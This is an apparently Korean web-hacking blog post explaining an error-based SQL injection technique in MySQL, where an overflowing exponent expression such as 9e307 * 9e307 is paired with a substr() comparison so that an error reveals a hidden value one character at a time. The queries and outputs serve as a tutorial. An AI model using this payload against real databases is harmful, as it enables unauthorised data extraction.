본문 바로가기

web

[SQL injection] 지수 연산을 이용한 error based

mysql에서 9e2의 연산은 지수 연산으로써 9*(10*10)의 결과로 900을 나타낸다.

select 9e0; ==> 9

select 9e1; ==> 90

select 9e2; ==> 900

select 9e999 ==> Error Code: 1367. Illegal double '9e999' value found during parsing

일정 값 이상되면 범위를 벗어나서 에러가 발생한다.


substr(key,1,1) ==> g라고 가정할때 

select substr(key,1,1) = 'a' and 9e307 * 9e307; 

==> 1 row(s) returned  0.000 sec / 0.000 sec


select substr(key,1,1) = 'g' and 9e307 * 9e307; 
==> Error Code: 1690. DOUBLE value is out of range in '(9e307 * 9e307)' 0.000 sec

9e307은 테스트 버전(mysql 5.6.21)에서 9e___가 에러를 안내고 허용하는 최대값이다.
9e308부터는 1367 에러발생.


'web' 카테고리의 다른 글

[SQL Injection] BETWEEN 으로 비교연산 실행  (0) 2015.03.25
[SQL Injection] SQL Injection이란?  (0) 2015.03.02
webhacking.kr을 통해 배우는 웹 해킹 기초  (0) 2015.03.02
Owasp Top 10 2013  (0) 2015.01.21
인코딩과 인코딩 방식  (0) 2014.07.07